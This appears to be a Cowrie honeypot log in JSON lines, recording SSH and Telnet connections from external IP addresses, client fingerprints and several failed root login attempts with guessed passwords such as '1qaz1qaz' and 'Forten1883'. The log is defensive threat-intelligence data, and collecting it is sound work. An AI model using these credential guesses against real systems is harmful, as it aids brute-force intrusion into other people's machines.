{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:36.670499Z","src_ip":"109.237.96.109","session":"29befe6f648b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz1qaz","message":"login attempt [root/1qaz1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:36.961489Z","src_ip":"109.237.96.109","session":"29befe6f648b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:38.063244Z","src_ip":"109.237.96.109","session":"29befe6f648b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.228.194.48","src_port":47249,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ddffad14da1","protocol":"telnet","message":"New connection: 192.228.194.48:47249 (10.17.0.5:23) [session: 1ddffad14da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:42.889008Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37036,"dst_ip":"10.17.0.5","dst_port":23,"session":"614c5f97639c","protocol":"telnet","message":"New connection: 192.119.13.58:37036 (10.17.0.5:23) [session: 614c5f97639c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:48.636558Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52424,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8efc6b68568","protocol":"telnet","message":"New connection: 192.119.13.58:52424 (10.17.0.5:23) [session: d8efc6b68568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:52.378523Z"}
{"eventid":"cowrie.session.closed","duration":13.079941749572754,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:55.968825Z","src_ip":"192.228.194.48","session":"1ddffad14da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":41650,"dst_ip":"159.203.135.109","dst_port":22,"session":"162bacae7da3","protocol":"ssh","message":"New connection: 170.106.188.200:41650 (159.203.135.109:22) [session: 162bacae7da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:57.280111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:57.285763Z","src_ip":"170.106.188.200","session":"162bacae7da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17482018470764,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:57.322636Z","src_ip":"192.119.13.58","session":"9c9771661760","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:57.354887Z","src_ip":"170.106.188.200","session":"162bacae7da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"enter","message":"login attempt [root/enter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:57.656384Z","src_ip":"170.106.188.200","session":"162bacae7da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:58.727588Z","src_ip":"170.106.188.200","session":"162bacae7da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57620,"dst_ip":"10.17.0.5","dst_port":23,"session":"c000299d4329","protocol":"telnet","message":"New connection: 192.119.13.58:57620 (10.17.0.5:23) [session: c000299d4329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:00.392445Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53422,"dst_ip":"10.17.0.5","dst_port":23,"session":"b807c1898eab","protocol":"telnet","message":"New connection: 192.119.13.58:53422 (10.17.0.5:23) [session: b807c1898eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:06.191496Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59054,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a95eefed515","protocol":"telnet","message":"New connection: 192.119.13.58:59054 (10.17.0.5:23) [session: 7a95eefed515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:07.615899Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51244,"dst_ip":"10.17.0.5","dst_port":23,"session":"d138c9755b39","protocol":"telnet","message":"New connection: 192.119.13.58:51244 (10.17.0.5:23) [session: d138c9755b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:12.446805Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57682,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae4c9ef4eb9","protocol":"telnet","message":"New connection: 192.119.13.58:57682 (10.17.0.5:23) [session: 8ae4c9ef4eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:21.066553Z"}
{"eventid":"cowrie.session.closed","duration":41.64919424057007,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:30.285640Z","src_ip":"192.119.13.58","session":"614c5f97639c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":36514,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf54d817e5e9","protocol":"ssh","message":"New connection: 186.4.240.226:36514 (159.203.135.109:22) [session: bf54d817e5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:31.826907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:31.831608Z","src_ip":"186.4.240.226","session":"bf54d817e5e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:31.921808Z","src_ip":"186.4.240.226","session":"bf54d817e5e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaikne","message":"login attempt [root/jaikne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:32.312743Z","src_ip":"186.4.240.226","session":"bf54d817e5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:33.405443Z","src_ip":"186.4.240.226","session":"bf54d817e5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.267834424972534,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:35.660213Z","src_ip":"192.119.13.58","session":"c000299d4329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.8482882976532,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:38.226688Z","src_ip":"192.119.13.58","session":"d8efc6b68568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45302,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04216e15b9d","protocol":"telnet","message":"New connection: 192.119.13.58:45302 (10.17.0.5:23) [session: f04216e15b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:38.994504Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":52854,"dst_ip":"159.203.135.109","dst_port":22,"session":"509ef36b6909","protocol":"ssh","message":"New connection: 103.101.216.219:52854 (159.203.135.109:22) [session: 509ef36b6909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:39.475099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:39.479593Z","src_ip":"103.101.216.219","session":"509ef36b6909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:39.718030Z","src_ip":"103.101.216.219","session":"509ef36b6909","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gerry","message":"login attempt [root/gerry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:40.696562Z","src_ip":"103.101.216.219","session":"509ef36b6909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:41.936728Z","src_ip":"103.101.216.219","session":"509ef36b6909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96789002418518,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:46.414587Z","src_ip":"192.119.13.58","session":"d138c9755b39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33978,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b7c4291ba3f","protocol":"telnet","message":"New connection: 192.119.13.58:33978 (10.17.0.5:23) [session: 0b7c4291ba3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:51.381139Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ada8f335c44","protocol":"telnet","message":"New connection: 192.119.13.58:38264 (10.17.0.5:23) [session: 2ada8f335c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:51.514682Z"}
{"eventid":"cowrie.session.closed","duration":47.82882118225098,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:55.444609Z","src_ip":"192.119.13.58","session":"7a95eefed515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.92141246795654,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:56.112785Z","src_ip":"192.119.13.58","session":"b807c1898eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35822,"dst_ip":"10.17.0.5","dst_port":23,"session":"81c7ee6b0064","protocol":"telnet","message":"New connection: 192.119.13.58:35822 (10.17.0.5:23) [session: 81c7ee6b0064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:58:57.734878Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":60556,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfc608c33291","protocol":"ssh","message":"New connection: 170.106.188.200:60556 (159.203.135.109:22) [session: dfc608c33291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:04.177895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:04.183272Z","src_ip":"170.106.188.200","session":"dfc608c33291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:04.252289Z","src_ip":"170.106.188.200","session":"dfc608c33291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nova","message":"login attempt [root/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:04.556784Z","src_ip":"170.106.188.200","session":"dfc608c33291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:05.630560Z","src_ip":"170.106.188.200","session":"dfc608c33291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d6a5657b3d","protocol":"telnet","message":"New connection: 192.119.13.58:43258 (10.17.0.5:23) [session: 12d6a5657b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:06.905514Z"}
{"eventid":"cowrie.session.closed","duration":54.70592761039734,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:15.772338Z","src_ip":"192.119.13.58","session":"8ae4c9ef4eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":55888,"dst_ip":"10.17.0.5","dst_port":22,"session":"03b796a312da","protocol":"ssh","message":"New connection: 103.183.114.55:55888 (10.17.0.5:22) [session: 03b796a312da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:15.825063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:15.830493Z","src_ip":"103.183.114.55","session":"03b796a312da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:16.060661Z","src_ip":"103.183.114.55","session":"03b796a312da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:16.828770Z","src_ip":"103.183.114.55","session":"03b796a312da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:18.060790Z","src_ip":"103.183.114.55","session":"03b796a312da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.18163752555847,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:22.176018Z","src_ip":"192.119.13.58","session":"f04216e15b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34702,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a0baf8b168d","protocol":"telnet","message":"New connection: 192.119.13.58:34702 (10.17.0.5:23) [session: 0a0baf8b168d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:24.984065Z"}
{"eventid":"cowrie.session.closed","duration":34.915136098861694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:26.296209Z","src_ip":"192.119.13.58","session":"0b7c4291ba3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50398,"dst_ip":"10.17.0.5","dst_port":23,"session":"6467cb4fb7d0","protocol":"telnet","message":"New connection: 192.119.13.58:50398 (10.17.0.5:23) [session: 6467cb4fb7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:29.111284Z"}
